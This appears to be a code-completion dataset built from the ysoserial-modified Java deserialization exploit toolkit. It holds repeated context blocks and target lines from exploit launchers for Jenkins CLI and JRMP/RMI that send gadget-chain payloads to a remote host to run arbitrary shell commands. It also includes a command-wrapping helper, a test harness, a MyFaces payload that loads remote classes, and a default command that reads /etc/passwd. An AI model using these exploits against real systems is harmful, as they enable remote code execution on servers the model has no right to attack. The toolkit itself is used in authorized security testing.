// Path: src/main/java/ysoserial/payloads/ObjectPayload.java // public static class Utils { // // // get payload classes by classpath scanning // public static Set<Class<? extends ObjectPayload>> getPayloadClasses () { // final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); // final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); // for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { // Class<? extends ObjectPayload> pc = iterator.next(); // if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { // iterator.remove(); // } // } // return payloadTypes; // } // // // @SuppressWarnings ( "unchecked" ) // public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) { // Class<? extends ObjectPayload> clazz = null; // try { // clazz = (Class<? extends ObjectPayload>) Class.forName(className); // } // catch ( Exception e1 ) {} // if ( clazz == null ) { // try { // return clazz = (Class<? extends ObjectPayload>) Class // .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); // } // catch ( Exception e2 ) {} // } // if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { // clazz = null; // } // return clazz; // } // // // public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // final Object payloadObject; // try { // final ObjectPayload payload = payloadClass.newInstance(); // payloadObject = payload.getObject(cmdHelper); // } // catch ( Exception e ) { // throw new IllegalArgumentException("Failed to construct payload", e); // } // return payloadObject; // } // // // @SuppressWarnings ( "unchecked" ) // public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { // if ( payload instanceof ReleaseableObjectPayload ) { // ( (ReleaseableObjectPayload) payload ).release(object); // } // } // // // public static void releasePayload ( String payloadType, Object payloadObject ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // releasePayload(payload, payloadObject); // } // catch ( Exception e ) { // e.printStackTrace(); // } // // } // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // Path: src/main/java/ysoserial/exploit/JenkinsCLI.java import java.io.DataOutputStream; import java.io.IOException; import java.io.OutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.HttpURLConnection; import java.net.InetSocketAddress; import java.net.MalformedURLException; import java.net.Socket; import java.net.SocketException; import java.net.URL; import java.net.URLConnection; import java.util.concurrent.ExecutorService; import java.util.concurrent.Executors; import java.util.concurrent.ThreadFactory; import javax.net.SocketFactory; import hudson.remoting.Callable; import hudson.remoting.Channel; import hudson.remoting.Channel.Mode; import hudson.remoting.ChannelBuilder; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.CmdExecuteHelper; package ysoserial.exploit; /** * Jenkins CLI client * * Jenkins unfortunately is still using a custom serialization based * protocol for remote communications only protected by a blacklisting * application level filter. * * This is a generic client delivering a gadget chain payload via that protocol. * * @author mbechler * */ public class JenkinsCLI { public static final void main ( final String[] args ) { if ( args.length < 4 ) { System.err.println(JenkinsCLI.class.getName() + " <jenkins_url> <payload_type> <terminal_type> <cmd_to_exec>"); System.exit(-1); } CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[2], args[3]);
final Object payloadObject = Utils.makePayloadObject(args[1], cmdHelper);
pimps/ysoserial-modified
src/main/java/ysoserial/exploit/JRMPClient.java
// Path: src/main/java/ysoserial/payloads/ObjectPayload.java // public static class Utils { // // // get payload classes by classpath scanning // public static Set<Class<? extends ObjectPayload>> getPayloadClasses () { // final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); // final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); // for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { // Class<? extends ObjectPayload> pc = iterator.next(); // if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { // iterator.remove(); // } // } // return payloadTypes; // } // // // @SuppressWarnings ( "unchecked" ) // public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) { // Class<? extends ObjectPayload> clazz = null; // try { // clazz = (Class<? extends ObjectPayload>) Class.forName(className); // } // catch ( Exception e1 ) {} // if ( clazz == null ) { // try { // return clazz = (Class<? extends ObjectPayload>) Class // .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); // } // catch ( Exception e2 ) {} // } // if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { // clazz = null; // } // return clazz; // } // // // public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // final Object payloadObject; // try { // final ObjectPayload payload = payloadClass.newInstance(); // payloadObject = payload.getObject(cmdHelper); // } // catch ( Exception e ) { // throw new IllegalArgumentException("Failed to construct payload", e); // } // return payloadObject; // } // // // @SuppressWarnings ( "unchecked" ) // public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { // if ( payload instanceof ReleaseableObjectPayload ) { // ( (ReleaseableObjectPayload) payload ).release(object); // } // } // // // public static void releasePayload ( String payloadType, Object payloadObject ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // releasePayload(payload, payloadObject); // } // catch ( Exception e ) { // e.printStackTrace(); // } // // } // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // }
import java.io.DataOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.Socket; import java.net.SocketException; import java.net.URL; import java.net.URLClassLoader; import java.net.UnknownHostException; import javax.net.SocketFactory; import sun.rmi.transport.TransportConstants; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.exploit; /** * Generic JRMP client * * Pretty much the same thing as {@link RMIRegistryExploit} but * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) * - not deserializing anything (so you don't get yourself exploited ;)) * * @author mbechler * */ @SuppressWarnings ( { "restriction" } ) public class JRMPClient { public static final void main ( final String[] args ) { if ( args.length < 5 ) { System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <terminal_type> <cmd_to_exec>"); System.exit(-1); }
// Path: src/main/java/ysoserial/payloads/ObjectPayload.java // public static class Utils { // // // get payload classes by classpath scanning // public static Set<Class<? extends ObjectPayload>> getPayloadClasses () { // final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); // final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); // for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { // Class<? extends ObjectPayload> pc = iterator.next(); // if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { // iterator.remove(); // } // } // return payloadTypes; // } // // // @SuppressWarnings ( "unchecked" ) // public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) { // Class<? extends ObjectPayload> clazz = null; // try { // clazz = (Class<? extends ObjectPayload>) Class.forName(className); // } // catch ( Exception e1 ) {} // if ( clazz == null ) { // try { // return clazz = (Class<? extends ObjectPayload>) Class // .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); // } // catch ( Exception e2 ) {} // } // if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { // clazz = null; // } // return clazz; // } // // // public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // final Object payloadObject; // try { // final ObjectPayload payload = payloadClass.newInstance(); // payloadObject = payload.getObject(cmdHelper); // } // catch ( Exception e ) { // throw new IllegalArgumentException("Failed to construct payload", e); // } // return payloadObject; // } // // // @SuppressWarnings ( "unchecked" ) // public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { // if ( payload instanceof ReleaseableObjectPayload ) { // ( (ReleaseableObjectPayload) payload ).release(object); // } // } // // // public static void releasePayload ( String payloadType, Object payloadObject ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // releasePayload(payload, payloadObject); // } // catch ( Exception e ) { // e.printStackTrace(); // } // // } // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // Path: src/main/java/ysoserial/exploit/JRMPClient.java import java.io.DataOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.Socket; import java.net.SocketException; import java.net.URL; import java.net.URLClassLoader; import java.net.UnknownHostException; import javax.net.SocketFactory; import sun.rmi.transport.TransportConstants; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.CmdExecuteHelper; package ysoserial.exploit; /** * Generic JRMP client * * Pretty much the same thing as {@link RMIRegistryExploit} but * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) * - not deserializing anything (so you don't get yourself exploited ;)) * * @author mbechler * */ @SuppressWarnings ( { "restriction" } ) public class JRMPClient { public static final void main ( final String[] args ) { if ( args.length < 5 ) { System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <terminal_type> <cmd_to_exec>"); System.exit(-1); }
CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[3], args[4]);
pimps/ysoserial-modified
src/main/java/ysoserial/exploit/JRMPClient.java
// Path: src/main/java/ysoserial/payloads/ObjectPayload.java // public static class Utils { // // // get payload classes by classpath scanning // public static Set<Class<? extends ObjectPayload>> getPayloadClasses () { // final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); // final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); // for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { // Class<? extends ObjectPayload> pc = iterator.next(); // if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { // iterator.remove(); // } // } // return payloadTypes; // } // // // @SuppressWarnings ( "unchecked" ) // public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) { // Class<? extends ObjectPayload> clazz = null; // try { // clazz = (Class<? extends ObjectPayload>) Class.forName(className); // } // catch ( Exception e1 ) {} // if ( clazz == null ) { // try { // return clazz = (Class<? extends ObjectPayload>) Class // .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); // } // catch ( Exception e2 ) {} // } // if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { // clazz = null; // } // return clazz; // } // // // public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // final Object payloadObject; // try { // final ObjectPayload payload = payloadClass.newInstance(); // payloadObject = payload.getObject(cmdHelper); // } // catch ( Exception e ) { // throw new IllegalArgumentException("Failed to construct payload", e); // } // return payloadObject; // } // // // @SuppressWarnings ( "unchecked" ) // public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { // if ( payload instanceof ReleaseableObjectPayload ) { // ( (ReleaseableObjectPayload) payload ).release(object); // } // } // // // public static void releasePayload ( String payloadType, Object payloadObject ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // releasePayload(payload, payloadObject); // } // catch ( Exception e ) { // e.printStackTrace(); // } // // } // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // }
import java.io.DataOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.Socket; import java.net.SocketException; import java.net.URL; import java.net.URLClassLoader; import java.net.UnknownHostException; import javax.net.SocketFactory; import sun.rmi.transport.TransportConstants; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.exploit; /** * Generic JRMP client * * Pretty much the same thing as {@link RMIRegistryExploit} but * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) * - not deserializing anything (so you don't get yourself exploited ;)) * * @author mbechler * */ @SuppressWarnings ( { "restriction" } ) public class JRMPClient { public static final void main ( final String[] args ) { if ( args.length < 5 ) { System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <terminal_type> <cmd_to_exec>"); System.exit(-1); } CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[3], args[4]);
// Path: src/main/java/ysoserial/payloads/ObjectPayload.java // public static class Utils { // // // get payload classes by classpath scanning // public static Set<Class<? extends ObjectPayload>> getPayloadClasses () { // final Reflections reflections = new Reflections(ObjectPayload.class.getPackage().getName()); // final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class); // for ( Iterator<Class<? extends ObjectPayload>> iterator = payloadTypes.iterator(); iterator.hasNext(); ) { // Class<? extends ObjectPayload> pc = iterator.next(); // if ( pc.isInterface() || Modifier.isAbstract(pc.getModifiers()) ) { // iterator.remove(); // } // } // return payloadTypes; // } // // // @SuppressWarnings ( "unchecked" ) // public static Class<? extends ObjectPayload> getPayloadClass ( final String className ) { // Class<? extends ObjectPayload> clazz = null; // try { // clazz = (Class<? extends ObjectPayload>) Class.forName(className); // } // catch ( Exception e1 ) {} // if ( clazz == null ) { // try { // return clazz = (Class<? extends ObjectPayload>) Class // .forName(GeneratePayload.class.getPackage().getName() + ".payloads." + className); // } // catch ( Exception e2 ) {} // } // if ( clazz != null && !ObjectPayload.class.isAssignableFrom(clazz) ) { // clazz = null; // } // return clazz; // } // // // public static Object makePayloadObject ( String payloadType, CmdExecuteHelper cmdHelper ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // final Object payloadObject; // try { // final ObjectPayload payload = payloadClass.newInstance(); // payloadObject = payload.getObject(cmdHelper); // } // catch ( Exception e ) { // throw new IllegalArgumentException("Failed to construct payload", e); // } // return payloadObject; // } // // // @SuppressWarnings ( "unchecked" ) // public static void releasePayload ( ObjectPayload payload, Object object ) throws Exception { // if ( payload instanceof ReleaseableObjectPayload ) { // ( (ReleaseableObjectPayload) payload ).release(object); // } // } // // // public static void releasePayload ( String payloadType, Object payloadObject ) { // final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); // if ( payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass) ) { // throw new IllegalArgumentException("Invalid payload type '" + payloadType + "'"); // // } // // try { // final ObjectPayload payload = payloadClass.newInstance(); // releasePayload(payload, payloadObject); // } // catch ( Exception e ) { // e.printStackTrace(); // } // // } // } // // Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // Path: src/main/java/ysoserial/exploit/JRMPClient.java import java.io.DataOutputStream; import java.io.IOException; import java.io.ObjectOutputStream; import java.io.OutputStream; import java.net.InetSocketAddress; import java.net.Socket; import java.net.SocketException; import java.net.URL; import java.net.URLClassLoader; import java.net.UnknownHostException; import javax.net.SocketFactory; import sun.rmi.transport.TransportConstants; import ysoserial.payloads.ObjectPayload.Utils; import ysoserial.payloads.util.CmdExecuteHelper; package ysoserial.exploit; /** * Generic JRMP client * * Pretty much the same thing as {@link RMIRegistryExploit} but * - targeting the remote DGC (Distributed Garbage Collection, always there if there is a listener) * - not deserializing anything (so you don't get yourself exploited ;)) * * @author mbechler * */ @SuppressWarnings ( { "restriction" } ) public class JRMPClient { public static final void main ( final String[] args ) { if ( args.length < 5 ) { System.err.println(JRMPClient.class.getName() + " <host> <port> <payload_type> <terminal_type> <cmd_to_exec>"); System.exit(-1); } CmdExecuteHelper cmdHelper = new CmdExecuteHelper(args[3], args[4]);
Object payloadObject = Utils.makePayloadObject(args[2], cmdHelper);
pimps/ysoserial-modified
src/test/java/ysoserial/payloads/TestHarnessTest.java
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // }
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; import org.hamcrest.CoreMatchers; import org.junit.Assert; import org.junit.Test; import ysoserial.payloads.util.CmdExecuteHelper;
package ysoserial.payloads; public class TestHarnessTest { // make sure test harness fails properly @Test public void testHarnessExecFail() throws Exception { try { PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]); Assert.fail("should have failed"); } catch (AssertionError e) { Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>")); } } // make sure test harness fails properly @Test public void testHarnessClassLoaderFail() throws Exception { try { PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]); Assert.fail("should have failed"); } catch (AssertionError e) { Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException")); } } // make sure test harness passes properly with trivial execution gadget @Test public void testHarnessExecPass() throws Exception { PayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class }); } public static class ExecMockPayload implements ObjectPayload<ExecMockSerializable> {
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // Path: src/test/java/ysoserial/payloads/TestHarnessTest.java import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; import org.hamcrest.CoreMatchers; import org.junit.Assert; import org.junit.Test; import ysoserial.payloads.util.CmdExecuteHelper; package ysoserial.payloads; public class TestHarnessTest { // make sure test harness fails properly @Test public void testHarnessExecFail() throws Exception { try { PayloadsTest.testPayload(NoopMockPayload.class, new Class[0]); Assert.fail("should have failed"); } catch (AssertionError e) { Assert.assertThat(e.getMessage(), CoreMatchers.containsString("but was:<class java.lang.AssertionError>")); } } // make sure test harness fails properly @Test public void testHarnessClassLoaderFail() throws Exception { try { PayloadsTest.testPayload(ExecMockPayload.class, new Class[0]); Assert.fail("should have failed"); } catch (AssertionError e) { Assert.assertThat(e.getMessage(), CoreMatchers.containsString("ClassNotFoundException")); } } // make sure test harness passes properly with trivial execution gadget @Test public void testHarnessExecPass() throws Exception { PayloadsTest.testPayload(ExecMockPayload.class, new Class[] { ExecMockSerializable.class }); } public static class ExecMockPayload implements ObjectPayload<ExecMockSerializable> {
public ExecMockSerializable getObject(CmdExecuteHelper cmdHelper) throws Exception {
pimps/ysoserial-modified
src/main/java/ysoserial/payloads/Myfaces2.java
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // }
import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner;
package ysoserial.payloads; /** * * ValueExpressionImpl.getValue(ELContext) * ValueExpressionMethodExpression.getMethodExpression(ELContext) * ValueExpressionMethodExpression.getMethodExpression() * ValueExpressionMethodExpression.hashCode() * HashMap<K,V>.hash(Object) * HashMap<K,V>.readObject(ObjectInputStream) * * Arguments: * - base_url:classname * * Yields: * - Instantiation of remotely loaded class * * Requires: * - MyFaces * - Matching EL impl (setup POM deps accordingly, so that the ValueExpression can be deserialized) * * @author mbechler */ @PayloadTest ( harness = "ysoserial.payloads.MyfacesTest" ) public class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies { public static String[] getDependencies () { return Myfaces1.getDependencies(); }
// Path: src/main/java/ysoserial/payloads/util/CmdExecuteHelper.java // public class CmdExecuteHelper { // // private String terminalType; // // private String[] commandArray; // // private String command; // // public CmdExecuteHelper(String terminalType, String command) { // super(); // this.terminalType = terminalType; // this.command = command; // // switch (terminalType) { // case "cmd": // this.commandArray = new String[]{"cmd.exe","/c", command}; // break; // case "bash": // this.commandArray = new String[]{"/bin/bash","-c", command}; // break; // case "powershell": // this.commandArray = new String[]{"powershell.exe","-c", command}; // break; // default: // this.commandArray = new String[]{command}; // break; // } // } // // public String[] getCommandArray() { // return commandArray; // } // // public void setCommandArray(String[] commandArray) { // this.commandArray = commandArray; // } // // public String getCommand() { // return command; // } // // public void setCommand(String command) { // this.command = command; // } // // public String getTerminalType() { // return terminalType; // } // // public void setTerminalType(String terminalType) { // this.terminalType = terminalType; // } // // } // // Path: src/main/java/ysoserial/payloads/util/PayloadRunner.java // @SuppressWarnings("unused") // public class PayloadRunner { // public static void run(final Class<? extends ObjectPayload<?>> clazz, final String[] args) throws Exception { // // ensure payload generation doesn't throw an exception // byte[] serialized = new ExecCheckingSecurityManager().wrap(new Callable<byte[]>(){ // public byte[] call() throws Exception { // final String command = args.length > 0 && args[0] != null ? args[0] : "cat /etc/passwd > /tmp/seraquefunfou"; // // System.out.println("generating payload object(s) for command: '" + command + "'"); // // CmdExecuteHelper cmdHelper = new CmdExecuteHelper("bash", command); // // ObjectPayload<?> payload = clazz.newInstance(); // final Object objBefore = payload.getObject(cmdHelper); // // System.out.println("serializing payload"); // byte[] ser = Serializer.serialize(objBefore); // Utils.releasePayload(payload, objBefore); // return ser; // }}); // // try { // System.out.println("deserializing payload"); // final Object objAfter = Deserializer.deserialize(serialized); // } catch (Exception e) { // e.printStackTrace(); // } // // } // // } // Path: src/main/java/ysoserial/payloads/Myfaces2.java import ysoserial.payloads.annotation.PayloadTest; import ysoserial.payloads.util.CmdExecuteHelper; import ysoserial.payloads.util.PayloadRunner; package ysoserial.payloads; /** * * ValueExpressionImpl.getValue(ELContext) * ValueExpressionMethodExpression.getMethodExpression(ELContext) * ValueExpressionMethodExpression.getMethodExpression() * ValueExpressionMethodExpression.hashCode() * HashMap<K,V>.hash(Object) * 